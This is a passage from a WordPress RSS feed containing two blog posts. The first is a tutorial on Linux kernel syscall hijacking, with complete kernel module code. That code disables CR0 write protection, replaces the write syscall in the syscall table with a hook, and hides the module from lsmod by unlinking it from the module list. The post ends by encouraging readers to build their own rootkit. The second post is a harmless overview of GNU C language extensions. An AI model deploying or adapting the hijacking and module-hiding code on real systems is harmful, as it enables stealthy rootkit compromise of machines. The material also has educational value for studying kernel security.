#define read_cr0 () (native_read_cr0 ())
#define write_cr0 (x) (native_write_cr0 (x))
</pre>
<p>The native read/write functions are defined as follows:</p>
<pre class="brush: cpp; title: ; notranslate">
static inline unsigned long native_read_cr0 (void)
{
         unsigned long val;
         asm volatile(&quot;movl %%cr0,%0\n\t&quot; :&quot;=r&quot; (val));
         return val;
}

static inline void native_write_cr0 (unsigned long val)
{
         asm volatile(&quot;movl %0,%%cr0&quot;: :&quot;r&quot; (val));
}
</pre>
<p>The &#8220;read_cr0&#8243; function returns the value of the register CR0; the &#8220;write_cr0&#8243; function sets the bits of the register based on the value passed as parameter.<br />
Now we can enable/disable the protected mode in such way:</p>
<pre class="brush: cpp; title: ; notranslate">
/* disable protected mode

   I perform a not operation to 0x10000 ( so I have 0x01111). 
   Later I perform an AND operation between the current value 
   of the CR0 register and 0x01111. So the WP bit is set to 0 
   and the protected mode is disabled.

*/

write_cr0 (read_cr0 () &amp; (~ 0x10000));

/* enable protected mode

   I perform an OR operation between the current value of 
   the CR0 register and 0x10000. So the WP bit is set to 1 
   and the protected mode is enabled.
   
*/
   
write_cr0 (read_cr0 () | 0x10000);
</pre>
<p>Follows &#8220;hijack.c&#8221; modified (&#8220;hijack2.c&#8221;):</p>
<pre class="brush: cpp; title: ; notranslate">
#include &lt;linux/init.h&gt;
#include &lt;linux/module.h&gt;
#include &lt;linux/kernel.h&gt; 
#include &lt;linux/errno.h&gt; 
#include &lt;linux/types.h&gt;
#include &lt;linux/unistd.h&gt;
#include &lt;asm/cacheflush.h&gt;  
#include &lt;asm/page.h&gt;  
#include &lt;asm/current.h&gt;
#include &lt;linux/sched.h&gt;
#include &lt;linux/kallsyms.h&gt;

unsigned long *syscall_table = (unsigned long *)0xc05d2180; 

asmlinkage int (*original_write)(unsigned int, const char __user *, size_t);

asmlinkage int new_write(unsigned int fd, const char __user *buf, size_t count) {

    // hijacked write

    printk(KERN_ALERT &quot;WRITE HIJACKED&quot;);

    return (*original_write)(fd, buf, count);
}

static int init(void) {

    printk(KERN_ALERT &quot;\nHIJACK INIT\n&quot;);

    write_cr0 (read_cr0 () &amp; (~ 0x10000));

    original_write = (void *)syscall_table[__NR_write];
    syscall_table[__NR_write] = new_write;  

    write_cr0 (read_cr0 () | 0x10000);

    return 0;
}

static void exit(void) {

    write_cr0 (read_cr0 () &amp; (~ 0x10000));

    syscall_table[__NR_write] = original_write;  

    write_cr0 (read_cr0 () | 0x10000);
    
    printk(KERN_ALERT &quot;MODULE EXIT\n&quot;);

    return;
}

module_init(init);
module_exit(exit);
</pre>
<p>Makefile:</p>
<pre class="brush: cpp; title: ; notranslate">
obj-m	:= hijack2.o

KDIR    := /lib/modules/$(shell uname -r)/build
PWD    := $(shell pwd)

default:
	$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
</pre>
<p>Now we can load our module without problems:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~$ sudo insmod hijack2
spaccio@spaccio-laptop:~$ 
</pre>
<p>- Hide Kernel Module</p>
<p>We can simply hide our module: we can remove it from the module list (lsmod and /proc/modules). Look at the following source code (&#8220;hijack3.c&#8221;):</p>
<pre class="brush: cpp; title: ; notranslate">
#include &lt;linux/init.h&gt;
#include &lt;linux/module.h&gt;
#include &lt;linux/kernel.h&gt; 
#include &lt;linux/errno.h&gt; 
#include &lt;linux/types.h&gt;
#include &lt;linux/unistd.h&gt;
#include &lt;asm/cacheflush.h&gt;  
#include &lt;asm/page.h&gt;  
#include &lt;asm/current.h&gt;
#include &lt;linux/sched.h&gt;
#include &lt;linux/kallsyms.h&gt;


static int init(void) {

    list_del_init(&amp;__this_module.list);

    return 0;
}

static void exit(void) {

    return;
}

module_init(init);
module_exit(exit);
</pre>
<p>We compile and run it:</p>
<pre class="brush: cpp; title: ; notranslate">
obj-m	:= hijack3.o

KDIR    := /lib/modules/$(shell uname -r)/build
PWD    := $(shell pwd)

default:
	$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
</pre>
<p>If we try to look through lsmod we cannot find our module:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~$ sudo insmod hijack3
spaccio@spaccio-laptop:~$ lsmod
Module                  Size  Used by
kernel_redir            2200  1 
aes_i586                7280  2 
aes_generic            26875  1 aes_i586
rfcomm                 33811  6 
binfmt_misc             6599  1 
sco                     7998  2 
bnep                    9542  2 
l2cap                  37008  16 rfcomm,bnep
vboxnetadp              6454  0 
vboxnetflt             15216  0 
...
spaccio@spaccio-laptop:~$ lsmod |grep hijack3.ko
spaccio@spaccio-laptop:~$
</pre>
<p>This happens thanks to &#8220;list_del_init()&#8221; function. This function is defined as follows:</p>
<pre class="brush: cpp; title: ; notranslate">
static inline void list_del_init (struct list_head * entry)
{
	 __list_del (entry-&gt;prev, entry-&gt;next);
	 INIT_LIST_HEAD (entry);
}
</pre>
<p>While the &#8220;__list_del()&#8221; and &#8220;INIT_LIST_HEAD()&#8221; functions are defined as follows:</p>
<pre class="brush: cpp; title: ; notranslate">
static inline void __list_del (struct list_head * prev, struct list_head * next)
{
	 next-&gt; prev = prev;
	 prev-&gt; next = next;
}

static inline void INIT_LIST_HEAD (struct list_head * list)
{
	 list-&gt; next = list;
	 list-&gt; prev = list;
}
</pre>
<p>So the &#8220;list_del_init()&#8221; function removes the name of our module from the doubly linked list that manages the list of modules: in this way can not be found by lsmod (or in /proc/modules).</p>
<p>- Conclusion</p>
<p>The post is finished and I hope that it can help you to write your own modules (or rootkit :) ).<br />
Bye.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/memset.wordpress.com/312/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/memset.wordpress.com/312/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=memset.wordpress.com&#038;blog=16429294&#038;post=312&#038;subd=memset&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://memset.wordpress.com/2010/12/03/syscall-hijacking-kernel-2-6-systems/feed/</wfw:commentRss>
		<slash:comments>30</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/595767eb938516c2c58ff9b8ebfaf7d9?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">memset</media:title>
		</media:content>
	</item>
		<item>
		<title>GNU C: Extensions to the C Language Family</title>
		<link>http://memset.wordpress.com/2010/11/06/gnu-c-extensions-to-the-c-language-family/</link>
		<comments>http://memset.wordpress.com/2010/11/06/gnu-c-extensions-to-the-c-language-family/#comments</comments>
		<pubDate>Sat, 06 Nov 2010 14:19:31 +0000</pubDate>
		<dc:creator>styx^</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[C language extended]]></category>
		<category><![CDATA[GNU C]]></category>
		<category><![CDATA[Programming C]]></category>

		<guid isPermaLink="false">http://memset.wordpress.com/?p=292</guid>
		<description><![CDATA[Hi. Today I&#8217;ll talk about the extensions to the C language family introduced by the GNU C. The GNU C provides several language features not found in ANSI standard C. These extensions are available both in C and C++. The `-pedantic&#8217; option directs GNU CC to print a warning message if any of these features [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=memset.wordpress.com&#038;blog=16429294&#038;post=292&#038;subd=memset&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Hi. Today I&#8217;ll talk about the extensions to the C language family introduced by the GNU C.<br />
The GNU C provides several language features not found in ANSI standard C. These extensions are available both in C and C++. The `-pedantic&#8217; option directs GNU CC to print a warning message if any of these features is used.<br />
The list of these features is very long: often we use them implicitly. I will show to you only those I consider most useful and &#8220;strange&#8221;:<span id="more-292"></span></p>
<p><strong>- Nested Functions</strong></p>
<p>A nested function is a function defined inside another function:</p>
<pre class="brush: cpp; title: ; notranslate">
void foo() {

	int bar(int a) { return ++a; }
	int b = 0;

	b = bar(3);

	printf(&quot;b = %d\n&quot;, b);

	return;

}
</pre>
<p>In this example I have declared a nested function &#8220;bar&#8221; inside the &#8220;foo&#8221; function: the name of the nested function, obviously, is local to the block where it&#8217;s defined. The value of &#8220;b&#8221; will be 4.<br />
The nested function can access all the variables defined first than the nested function.</p>
<pre class="brush: cpp; title: ; notranslate">
void foo() {

        int z = 4;
	int bar(int a) { return a+z; }
	int b = 0;

	b = bar(3);

	printf(&quot;b = %d\n&quot;, b);

	return;

}
</pre>
<p>In this example, the value of &#8220;b&#8221; will be 7.</p>
<p><strong>- Double-Word Integers</strong></p>
<p>GNU C defines a new size (64 bit) of signed and unsigned integer: <em>long long int</em> and <em>unsigned long long int</em>. We can use them in arithmetic just like a simple int.</p>
<p><strong>- Arrays of Variable Length</strong></p>
<p>We can define variable-length automatic arrays: the ISO C90 forbids this type of array.<br />
I.e.</p>
<pre class="brush: cpp; title: ; notranslate">
void foo(int z) {

	int a[z];

	return;
}
</pre>
<p>In this example I define a size of &#8220;z&#8221; for the array &#8220;a&#8221;.</p>
<p><strong>- Labeled Elements in Initializers</strong></p>
<p>In C standard you have to initialize an array in a fixed order: you have to start from the first element of the array.<br />
In the GNU C you can initilize an array in any order. I.e.:</p>
<pre class="brush: cpp; title: ; notranslate">
void foo() {

	int a[] = {[3]=2, [4]=3};

	return;
}
</pre>
<p>In this example we define an array. It has 4 locations, but we don&#8217;t start to initialize from the first one: we start from the third location. The &#8220;0-1-2&#8243; locations are initialized to 0, according to standard C.<br />
This feature could be useful in a simple parser:</p>
<pre class="brush: cpp; title: ; notranslate">
void foo() {

        int c;
	FILE *stream;

	char pars[] = {['a']=2, ['b']=3};

	for ( c=fgetc(stream); !pars[c] &amp;&amp; c != EOF; c=fgetc(stream) ) {
		...
	}

	...

	return pars[c];
}

</pre>
<p><strong>- Case Ranges</strong></p>
<p>In GNU C we can declare a set of consecutive values in &#8220;switch&#8221; statement like this:</p>
<pre class="brush: cpp; title: ; notranslate">
case low ... high:
</pre>
<p>In case of letters:</p>
<pre class="brush: cpp; title: ; notranslate">
case 'A' ... 'C':
</pre>
<p>Or numbers:</p>
<pre class="brush: cpp; title: ; notranslate">
case 1 ... 10:
</pre>
<p>The post is finished, but you can investigate this features or look up for others in the gnu site: <a href="http://gcc.gnu.org/onlinedocs/gcc-2.95.3/gcc_4.html">Here</a>.</p>
<p>Bye bye.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/memset.wordpress.com/292/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/memset.wordpress.com/292/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=memset.wordpress.com&#038;blog=16429294&#038;post=292&#038;subd=memset&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://memset.wordpress.com/2010/11/06/gnu-c-extensions-to-the-c-language-family/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/595767eb938516c2c58ff9b8ebfaf7d9?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">memset</media:title>
		</media:content>
	</item>
	</channel>
</rss>
